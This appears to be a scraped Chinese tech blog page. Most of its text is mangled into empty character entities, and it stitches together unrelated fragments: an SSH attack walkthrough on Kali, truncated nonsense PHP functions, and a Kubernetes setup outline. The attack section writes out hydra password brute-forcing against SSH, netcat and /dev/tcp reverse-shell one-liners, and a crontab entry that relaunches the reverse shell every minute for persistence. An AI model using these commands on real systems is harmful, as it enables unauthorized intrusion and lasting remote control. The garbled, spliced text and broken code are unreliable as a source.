&#;&#;&#;&#;&#;&#;&#;&#;SSH&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;root&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;kali&#;&#;SSH&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;SSH&#;&#;&#;

apt-get update

apt-get install openssh-server

&#;&#;&#;&#;&#;&#;SSH&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;SSH&#;&#;&#;&#;&#;

service ssh status

&#;&#;0&#;&#;&#;&#;&#;&#;&#;SSH&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;SSH&#;&#;

service ssh start

&#;&#;kali&#;22&#;&#;&#;&#;&#;&#;SSH&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;root&#;&#;&#;&#;&#;&#;&#;&#;&#;

netstat -tuln | grep 22

&#;&#;&#;&#;&#;&#;&#;&#;22&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

nmap &#;&#;ip&#;&#;

&#;&#;&#;&#;22&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;SSH

&#;&#;hydra&#;&#;&#;&#;

hydra -L users.text -P password.txt -vV ssh://&#;&#;ip&#;&#;

users.txt&#;password.txt&#;&#;&#;&#;&#;&#;&#;

hydra&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

-L&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

-P&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

-v&#;&#;&#;hydra&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

-V&#;&#;&#;&#;&#;&#;hydra&#;&#;&#;&#;&#;&#;&#;&#;

ssh://&#;&#;ip&#;&#;: &#;&#;&#;&#;&#;&#;&#;&#;SSH&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;kali linux&#;&#;&#;&#;&#;&#; touch filename.txt &#;&#; .txt&#;&#;&#;&#;&#; nano filename.txt &#;&#;filename.txt&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Ctrl+O&#;&#;&#;&#;&#;&#;enter&#;Ctrl+X&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

SSH&#;&#;

ssh &#;&#;&#;@&#;&#;ip&#;&#;

@&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;shell&#;&#;&#;&#;&#;

&#;&#;vim&#;nano&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;reverse_shell.sh

nano reverse_shell.sh

vim reverse_shell.sh

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;shell&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;shell&#;&#;

#! /bin/bash

nc &#;&#;&#;ip &#;&#;&#;&#;&#; -e /bin/bash

#!/bin/bash

bash -i >& /dev/tcp/&#;&#;&#;IP&#;&#;/&#;&#;&#;&#;&#; 0>&1

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;

ls -l reverse_shell.sh

rw-r--r--&#;&#;&#;root&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

chmod +x reverse_shell.sh

chmod &#;&#;&#;&#;&#;&#;&#;&#;&#;

+x&#;&#;-x&#;chmod&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;-x&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;root&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; http://hzhcontrols.com/reverse_shell.sh&#;&#;&#;&#;reverse_shell.sh&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; nc -lvp &#;&#;&#;(&#;&#;shell&#;&#;&#;&#;&#;&#;&#;)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;vim&#;nano&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;task.sh

(crontab -l;printf "* * * * * /reverse_shell.sh; no crontw-wab for 'whoami' %100c

") | crontab -

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

chmod +x task.sh&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

http://hzhcontrols.com/task.sh&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;nc&#;&#;&#;&#;shell

nc -lvp 1229

function updraw()

{

for($da=0;$da

&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;

&#;&#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;web &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; PHP &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; -PHP &#;&#;&#;&#; (26)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;saleTickets($line,$originating, $terminus)&#;&#;&#;&#;&#;&#;&#;&#;pay&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;saleTickets($line,$originating, $terminus)&#;&#;&#;pay&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;code&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;pay()&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;PHP&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;saleTickets&#;&#;&#;&#;pay&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;return&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

PWHkJye LZOI()

{

for($cN=0;$cN

出处:http://www.hzhcontrols.com/

原文:http://www.hzhcontrols.com/new-.html

本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利

fairvote shakequalitywash()

{

for($g=0;$g

&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;div&#;&#;&#;&#;&#;&#;480px&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;460&#;&#;&#;&#;overflow&#;&#;&#;&#;&#;&#;hidden&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;margin-right&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;:http://www.51texiao.cn/div_cssjiaocheng/2015/0501/501.html

function livesixsale($rule)

{

for($nDH=0;$nDH

出处:http://www.hzhcontrols.com/

原文:http://www.hzhcontrols.com/new-.html

本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利

&#;&#;&#;&#;

k8s&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;-&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;hosts&#;&#;&#;swap&#;&#;ipv4&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;ip_vs&#;&#;&#;&#;&#;&#;docker

&#;&#;kubeadm kubectl kubelet,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

k8s&#;&#;&#;worker&#;&#;&#;&#;k8s&#;&#;master&#;&#;,&#;&#;&#;&#;&#;&#;keepalived &#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;ip&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;kubernetes v1.23.5 &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

containerd &#;&#;apiserver&#;&#;&#;

Kubeadm &#;&#;&#;&#;kubectl &#;&#;master &#;&#;&#;&#;node&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; k8s v1.14.0 &#;&#;&#;&#;&#;&#;kubectl kubelete kubeadm&#;&#;kubeadm.sh&#;&#;,&#;&#;&#;&#;&#;&#;/&#;tag/&#;&#;&#;&#;&#;&#;kube init &#;&#;&#;master&#;&#;calico&#;&#;&#;&#;&#;&#;pod&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

k8s&#;&#;

K8sMaster : &#;&#;K8sNode&#;&#;

K8sNode:&#;&#;docker&#;&#; &#;k8s&#;&#;(kubelet&#;k-proxy) ,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Controller-manager: k8s &#;&#;&#;,&#;&#;&#; API Server&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

API Server: k8s API Server&#;&#;&#;k8s&#;&#;&#;&#;&#;&#;(pod,RC,Service&#;)&#;&#;&#;&#;&#;&#;watch&#;HTTP Rest&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

etcd: &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,kubernetes&#;&#;&#;,etcd&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Scheduler: &#;&#;&#;&#;&#;&#;&#;&#;pod&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;node,&#;&#;pod&#;&#;&#;K8sNode&#;&#;

kubelet: &#;&#;&#;&#;Kubernetes Master&#;&#;Node&#;&#;&#;&#;&#;,&#;&#;&#;&#;Master&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#; Pod&#;Pod&#;&#;&#;&#;

k-proxy &#; kubernetes &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Pod &#;&#;&#;&#;&#;&#;&#;&#;&#; API server &#; &#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Pod: &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Kubernetes&#;&#;&#;,Pod&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;K8S&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(k8s =&#;&#;&#;pod = &#;&#;&#;&#;&#;= &#;&#;)

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;

&#;&#;&#;&#;-&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;hosts&#;&#;&#;swap&#;&#;ipv4&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;ip_vs

&#;&#;&#;&#;&#;&#;docker

&#;&#;kubeadm kubectl kubelet,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

在这里插入图片描述

k8s&#;&#;&#;worker&#;&#;&#;&#;

k8s&#;&#;master&#;&#;,&#;&#;&#;&#;&#;&#;keepalived &#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;ip&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;kubernetes v1.23.5 &#;&#;&#;&#;

&#;&#;&#;&#;&#;

hostnamectl set-hostname k8s-01 #&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

bash #&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;

containerd &#;&#;

apiserver&#;&#;&#;

Kubeadm &#;&#;&#;&#;

kubectl &#;&#;

master &#;&#;&#;&#;

node&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#; k8s v1.14.0 &#;&#;&#;&#;

&#;&#;kubectl kubelete kubeadm

&#;&#;kubeadm.sh&#;&#;,&#;&#;&#;&#;&#;&#;/&#;tag/&#;&#;&#;&#;&#;&#;

kube init &#;&#;&#;master

&#;&#;calico&#;&#;&#;&#;

&#;&#;pod&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;